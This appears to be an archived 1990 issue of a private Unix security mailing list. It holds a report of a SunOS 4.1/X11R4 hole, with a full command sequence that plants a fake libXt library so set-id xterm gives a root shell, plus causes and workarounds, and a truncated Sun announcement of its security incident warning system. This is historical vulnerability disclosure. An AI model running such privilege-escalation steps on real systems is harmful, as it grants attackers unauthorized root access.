The 'Security Digest' Archives (TM)

ARCHIVE: Core 'Security Digest' - Archives (1990 - 1991)
DOCUMENT: Core 'Security Digest' V1 #5 1990-09-10 (1 file, 2076 bytes)
SOURCE: http://securitydigest.org/exec/display?f=core/archive/105.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT

Date: Mon Sep 10 10:38:08 PDT 1990
Subject: Core Security Digest V1 #5

Core Security Digest Volume 1 Issue 5

subject(s):

            SunOS 4.1, X11R4 security hole.
            Sun's New Security Service

The unix core security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS.
If you must keep copies on-line, please encrypt them at the very least.

PLEASE POST TO:                              core@uninet.cpd.com
PLEASE SEND EMERGENCY ALERTS TO:   core-emergency@uninet.cpd.com
PLEASE SEND REQUESTS TO:             core-request@uninet.cpd.com


------------------------------------------------------------------------

Date: Fri, 20 Jul 90 12:41:24 EDT
From: Felix Lee <uunet!guardian.cs.psu.edu!flee>
Subject: SunOS 4.1, X11R4 security hole.

[ Sorry about the delay, a script that was supposed to tell me when
  there was security stuff older than a week to be moderated didn't
  survive a system re-organization, and business has been too hectic
  lately for me to be checking stuff manually - neil ]

This is the reader's-digest-condensed security report.

Here's a simple ten-step procedure that works on standard X11R4
installations running SunOS 4.1.  Pathnames may vary.
	% mkdir /tmp/xyzzy
	% cd /tmp/xyzzy
	% cat > Initialize.c << EOF
	_XtAppInitialize() { setuid(0); execl("/bin/sh", "sh", 0); }
	XtAppSetFallbackResources() {}
	_XtDisplayInitialize() {}
	EOF
	% ar x /usr/lib/libXt.a
	% cc -c -pic Initialize.c
	% ld *.o
	% mkdir lib lib/X
	% mv a.out lib/X/libXt.so.4.1
	% cd lib/X
	% xterm
	# whoami
	root

The reason this happens is that X binaries are linked with -L options
that are relative pathnames, like "../.././lib/X", and ld.so under
SunOS 4.1 trusts this link-time library path, even on set-id programs.

(I feel this isn't a problem specific to the X11R4 installation.
ld.so should be more paranoid about set-id programs.  Disallowing
dynamic linking entirely for set-id programs may be a good thing.)

Workarounds.
* Recompile xterm and xload with UseExisting defined in the Imakefile.
* Define TOPDIR to be an absolute path, instead of ".", and remake.
* Relink xterm and xload with the -Bstatic option.
* Turn off the set-idness of xterm and xload.

------------------------------------------------------------------------

Date: Wed, 15 Aug 90 15:31:38 PDT
From: uunet!Eng.Sun.COM!security-features ( Sun Security Mailbox )
Subject: Sun's New Security Service

This announcement went out internally to Sun yesterday:

.To: All Sun Employees

.From: Beverly Ulbrich - Product Manager, Software Security
      Jack Collins - Director, Technical Support Services

.Subject:  Announcing Sun Microsystem's Customer Warning System
                   for Security Incident Handling

.Date:   August 14, 1990


In order to best serve our customers' service needs, Sun has established a
Customer Warning System (CWS) for handling security incidents.  This is a
formal process which includes:
	- Having a well advertised point of contact in Sun for reporting
	  security problems.
	- Pro-actively alerting customers of worms, viruses or other security
	  holes that could affect their systems.
	- Distributing the patch (and/or work-around) to our customers as
	  quickly as possible.

More specifically, the CWS is being set up as follows:

We have created an email address ( security-alert@sun ) which will enable
both internal and external people to have a single place to report security
problems.  We have provided a voice-mail back-up ( (415)-336-7205 ) for the
cases where sending email is not possible.   *ALL* SECURITY HOLES SHOULD BE
REPORTED TO THIS ALIAS.

We have filled the position of "Security Coordinator" in our Customer Service
Organization.  The Security Coordinator is responsible for manning the email
and voice mail hotlines and evaluating the security problems.   We have a
Customer Warning System "SWAT Team" in place to address severe security
i

END OF DOCUMENT